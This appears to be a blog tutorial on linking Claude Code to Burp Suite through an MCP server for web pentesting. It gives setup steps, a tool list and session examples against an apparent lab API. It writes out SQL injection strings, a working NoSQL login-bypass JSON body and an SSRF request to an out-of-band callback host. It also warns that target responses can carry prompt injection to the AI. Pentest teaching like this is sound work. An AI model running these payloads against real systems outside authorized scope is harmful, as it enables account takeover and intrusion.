Claude Code x Burp-MCP flow

What is Burp MCP

Burp MCP connects Claude to Burp Suite. You ask Claude to find things in your proxy history, send HTTP requests, create Repeater tabs, and work with Intruder-all through plain English.

Instead of scrolling through hundreds of proxy entries looking for something interesting, you just ask. Instead of building test cases one by one, you describe what you want and let Claude generate them.

Why Bother With AI

Security testing has a lot of repetition. The same parameter fuzzing across dozens of endpoints. The same auth bypass attempts. The same Collaborator checks. AI handles this stuff well because it can:

  • Spot patterns in HTTP traffic that suggest vulnerabilities

  • Build and run test cases without you typing each one

  • Read responses and flag anomalies worth investigating

  • Write up findings with evidence

Setup

1. Install Burp MCP

  1. Go to Extensions → BApp Store → Search for “MCP Server”

  2. Click Install

Installing Burp MCP via BApp Store

  1. Go to “MCP” tab to see MCP Server configuration

2. Connect to Claude Code

Add Burp MCP to your Claude Code config.

  • Create file name .mcp.json and copy below content

{
    "mcpServers": {
      "burp-mcp": {
        "command": "java",
        "args": [
            "-jar",
            "/change/to/path/to/mcp-proxy.jar",
            "--sse-url",
            "http://127.0.0.1:9876"
        ]
      }
    }
}
  • mcp-proxy.jar can be extract via MCP tab in Burp

3. Claude Code vs Claude Desktop

Claude Code runs in your terminal. That matters because you get:

  • File operations - read and write reports, configs, payloads

  • Shell commands - run curl, nmap, or your own scripts

  • Custom skills - reusable workflows for attack patterns you use often

  • Persistent memory - context sticks around between sessions

Claude Desktop works fine for quick questions. But for actual pentesting, you need the terminal.

4. Create CLAUDE.md

Add a project context file so Claude knows your setup:

  • Create a new folder name burp_mcp

  • Create a new file named CLAUDE.md and paste below content

# Pentest Project

## Target Scope
- *.example.com
- api.example.com:443

## Application Context
- **Target:** E-commerce API for ACME Corp
- **Auth Flow:** JWT-based authentication, refresh tokens expire in 7 days
- **User Roles:** Guest, Customer, Admin (test accounts available)
- **Business Logic:** Cart -> Checkout -> Payment (Stripe integration)
- **Stack:** Python/FastAPI backend, PostgreSQL, Redis cache
- **Known Issues:** Legacy endpoints at /api/v1/ still active

## Tools Available
- Burp Suite Professional
- burp-mcp extension loaded

## Output
- Save reports to ./reports/
- Use markdown format

Claude reads this at the start of each session and works within your scope.

Further Reading: For a deeper dive into configuring Claude Code for security research, check out How a Trail of Bits Member Sets Up Claude Code for Security Research & Development.

Burp MCP Tools Reference

Tool

Description

Encoding/Decoding

base64_decode / base64_encode

Encode or decode Base64 strings

url_decode / url_encode

Encode or decode URL strings

HTTP Requests

send_http1_request / send_http2_request

Send HTTP requests

create_repeater_tab

Create a Repeater tab with a request

send_to_intruder

Send a request to Intruder

Proxy

get_proxy_http_history / get_proxy_http_history_regex

View or search proxy HTTP history

get_proxy_websocket_history / get_proxy_websocket_history_regex

View or search proxy WebSocket history

set_proxy_intercept_state

Toggle proxy intercept

Collaborator

generate_collaborator_payload

Generate a Collaborator payload for OOB testing

get_collaborator_interactions

Poll Collaborator for OOB interactions

Scanner

get_scanner_issues

View scanner issues

Editor

get_active_editor_contents / set_active_editor_contents

Get or set contents of the active editor

Configuration

output_project_options / set_project_options

Export or update project configuration

output_user_options / set_user_options

Export or update user configuration

Utilities

generate_random_string

Generate a random string

set_task_execution_engine_state

Pause or resume task execution

Use Cases

Claude Code + Burp MCP handles a range of pentesting tasks, from simple filtering to complex attack chains. The examples below show what's possible. The real value comes from combining these workflows based on what you're testing.

Open your Claude Code, and lets do the Pentesting 😁

Open Claude Code, and greetings!

Here are several use cases from an actual testing session:

Filtering Important API Endpoints

What you're trying to do: Skip the manual scrolling through hundreds of proxy entries. Ask Claude to find endpoints that matter, ones with authentication, user input, or data access.

Prompt:

  • Send below prompt to Claude Code

Get all the parametered requests from burp history

What happens:

  1. Claude calls get_proxy_http_history_regex to filter for requests with query parameters

  2. Reads each request for Content-Type, parameters, and path patterns

  3. Returns a filtered list with auth requirements

Real output from session:

GET Requests with Parameters:

| Endpoint | Parameter | Auth Required |
|----------|-----------|---------------|
| GET /api/getNote?username=user | username | Bearer Token |
| GET /api/getSolves | none | Bearer Token |
| GET /api/profile | none | Bearer Token |

POST Requests (with JSON body):

| Endpoint | Auth Required |
|----------|---------------|
| POST /api/login | No |
| POST /api/register | No |
| POST /api/addNote | Bearer Token |
| POST /api/addNoteWithLink | Bearer Token |

Claude code return paramerize API Endpoint for testing

Generating Test Cases for an Endpoint

What you're trying to do: Skip the testing checklists. Ask Claude to generate test cases for a specific endpoint-SQL injection, NoSQL injection, IDOR, rate limiting, whatever makes sense. Claude figures out the backend stack, generates appropriate payloads, and creates Repeater tabs ready to click.

Prompt:

  • Send below prompt to Claude Code

Generate SQLi test case on login endpoint

What happens:

  1. Claude spots Express.js headers (likely Node.js/MongoDB backend)

  2. Generates both SQL injection and NoSQL injection payloads

  3. Creates separate Repeater tabs for each payload

  4. Optionally tests payloads directly and reports results

Real output from session:

Created 6 SQLi test cases in Burp Repeater:

| Tab Name | Payload Type | Description |
|----------|--------------|-------------|
| SQLi Login - Basic | '-- | Comment out password check |
| SQLi Login - OR True | ' OR '1'='1 | Classic boolean-based SQLi |
| SQLi Login - Comment Bypass | '/* and */ | MySQL comment bypass |
| SQLi Login - UNION Select | UNION SELECT | Data extraction attempt |
| SQLi Login - NoSQL Injection | {"$ne":null} | MongoDB not-equal bypass |
| SQLi Login - NoSQL Regex | {"$regex":".*"} | MongoDB regex bypass |

Testing Results:

| Test | Payload | Status | Result |
|------|---------|--------|--------|
| SQLi - Comment | admin'-- | 400 | Blocked |
| SQLi - OR True | ' OR '1'='1 | 400 | Blocked |
| NoSQL - $gt | {"$gt":""} | 200 | BYPASS - Logged in as Alice |
| NoSQL - $gt filtered | {"$gt":"B"} | 200 | BYPASS - Logged in as Bob |

Working Exploit:

POST /api/login
Content-Type: application/json

{"username":{"$gt":""},"password":{"$gt":""}}

You can also ask for other test cases:

  • Generate IDOR test cases on /api/profile

  • Test for rate limiting on /api/login

  • Generate XSS payloads on search endpoint

Claude Code exploiting SQL & No SQL injection

Creating Repeater Tabs for Manual Follow-Up

What you're trying to do: Some findings need manual validation, you want to inspect the response, tweak parameters, or chain with other attacks. Ask Claude to prepare Repeater tabs with ready-to-send requests, then take over manually.

Prompt:

  • Send below prompt to Claude Code

Create a Repeater tab for SQL test cases with the following
payloads ready to test

What happens:

  1. Claude calls create_repeater_tab with the target host, port, and request content

  2. Repeater tabs appear in Burp with requests pre-configured

  3. You click Send when ready—no need to build the request from scratch

Burp repeater tab generated by Claude Code

Running Specific Test Cases

What you're trying to do: When you need to run a specific test-like SSRF with out-of-band detection-Claude handles the whole workflow: generate Collaborator payload, send the request, poll for interactions, report findings.

Prompt:

  • Send below prompt to Claude Code

Do a SSRF test on POST /api/addNoteWithLink, and use collaborator
payload and check for the interaction

What happens:

  1. Claude generates a Collaborator payload URL via generate_collaborator_payload

  2. Sends a POST request with the payload in the target parameter

  3. Polls for interactions using get_collaborator_interactions

  4. Reports any DNS, HTTP, or SMTP callbacks with evidence

Real Collaborator Payload Generated:

Payload: 727j8xszmwaixgagv87lzvozqqwgk5.oastify.com
Payload ID: 727j8xszmwaixgagv87lzvozqqwgk5

Request Sent:

POST /api/addNoteWithLink HTTP/1.1
Host: vulnerable-api.com:3000
Content-Type: application/json
Authorization: Bearer <token>

{"url":"http://727j8xszmwaixgagv87lzvozqqwgk5.oastify.com"}

Interaction Received:

Type: DNS
Timestamp: 2026-03-03T18:01:25.243Z
Client IP: 182.8.64.0
Query Type: A record
Payload ID: 727j8xszmwaixgagv87lzvozqqwgk5

Vulnerability Confirmed: SSRF - The server made an outbound DNS request to the Collaborator URL.

Generating a Findings Report

What you're trying to do: At the end of a Pentest session, have Claude compile everything into a structured report with evidence, proof of concept, and remediation steps.

Prompt:

  • Send below prompt to Claude Code

Summarize all vulnerabilities found in this session

What happens:

  1. Claude writes a markdown file with vulnerability details

  2. Includes severity, evidence, proof of concept, and remediation

  3. Documents all discovered API endpoints and auth details

  4. Lists all Repeater tabs created during testing

Real output from Claude Code session:

# Burp MCP Session Report
**Date:** 2026-03-04
**Target:** vulnerable-api.com:3000

## 1. NoSQL Injection Vulnerability (High)

**Endpoint:** POST /api/login
**Working Exploit:**
{"username":{"$gt":""},"password":{"$gt":""}}

**Impact:** Authentication bypass, user enumeration
**Recommendation:** Validate input as strings, use schema enforcement

## 2. SSRF Vulnerability (High)

**Endpoint:** POST /api/addNoteWithLink
**Parameter:** url
**Evidence:** Collaborator DNS callback from 182.8.64.0
**Recommendation:** URL allowlist, block private IP ranges

## Summary

| Vulnerability | Severity | Status |
|---------------|----------|--------|
| NoSQL Injection | High | Confirmed |
| SSRF | High | Confirmed |

Analyzing Responses from Repeater

What you're trying to do: Claude can read HTTP responses to find API endpoints, secrets, or sensitive logic hidden in JavaScript files or JSON responses.

Prompt:

  • Send below prompt to Claude Code

Search proxy history for JavaScript files and analyze them
for hardcoded endpoints or API keys

What happens:

  1. Claude filters for .js files in proxy history

  2. Reads response bodies

  3. Pattern matches for endpoints, keys, and sensitive data

Example output:

JavaScript Analysis (3 files):

app.js
  Endpoints:
    - GET /api/internal/users
    - POST /api/admin/backup
  Potential Secret:
    - apiKey: "sk-prod-xxxxx" (line 142)

vendor.js
  No findings

analytics.js
  Endpoints:
    - POST https://analytics.example.com/track
  Potential Secret:
    - token: "eyJhbGciOiJIUzI1NiJ9..." (JWT, line 8)

These use cases are just starting points. What you can do depends on your creativity, testing needs, and scope. Simply send prompts to Claude Code to explore what's possible.

Other Features

Send to Intruder

Fuzz parameters with custom payloads:

Send the /api/search?q=test request to Intruder.
Mark the q parameter value as the injection point.

Collaborator Payloads

Generate unique callback URLs for blind injection testing:

Generate a Collaborator payload for testing XXE

Poll for interactions:

Check if any Collaborator callbacks came in from payload ID abc123

Security Considerations

Tool Poisoning Risk: HTTP responses from target applications may contain prompt injection attempts. Claude could execute malicious instructions from response bodies.

Mitigations:

  • Enable "Require approval for history access" in Burp MCP settings

  • Review Claude's proposed actions before execution

  • Restrict AI operations to authorized targets via CLAUDE.md scope

Controlled Execution: Always approve tool calls that send requests or modify Burp state. The AI suggests-you decide.

What Could Be Better

Payload Libraries Integration

Connect wordlist and payload sources directly:

  • SecLists MCP - Access wordlists for fuzzing without downloading files

  • PayloadsAllTheThings - Reference for injection payloads across contexts

  • Custom wordlist files - Load project-specific payloads from local files

Custom Skills for Specific Attacks

Build Claude Code skills that combine tools and knowledge for specialized testing:

JWT Pentest Skill:

  • Decode and analyze JWT tokens (header, payload, signature)

  • Check for algorithm confusion (none, HS256 vs RS256)

  • Test for weak secrets using wordlists

  • Validate signature and expiration

GraphQL Security Skill:

  • Run introspection queries to map schema

  • Test for batching abuse (DoS)

  • Check for field suggestion info disclosure

  • Test authorization on nested queries

Deserialization Attack Skill:

  • Generate payloads for Java, PHP, Python serialization

  • Test with ysoserial, PHPGGC integration

  • Check for pickle, YAML, JSON deserialization issues

API Authorization Testing Skill:

  • Map all authenticated endpoints

  • Test horizontal/vertical privilege escalation

  • Generate IDOR payloads for numeric IDs, UUIDs, usernames

Workflow Automation

  • Session templates - Pre-defined testing workflows for different app types (REST API, GraphQL, SPA)

  • Finding templates - Standardized report formats for different compliance requirements (OWASP, PCI-DSS)

  • Repeater organization - Auto-group tabs by vulnerability type or endpoint

Conclusion

Burp MCP turns Claude into a pentesting assistant that reads your proxy traffic, builds test cases, runs them, and documents results. The AI handles the repetitive work; you focus on the interesting vulnerabilities.

Coming Next: In the next newsletter, I'll cover advanced workflows-chaining multiple tools, building custom attack skills, and automating multi-stage exploitation.

Subscribe for more security automation content: https://labs.secengai.com/

Further Reading

MCP Servers:

Skills & Agents:

Config Management:

Config Reference:

Keep Reading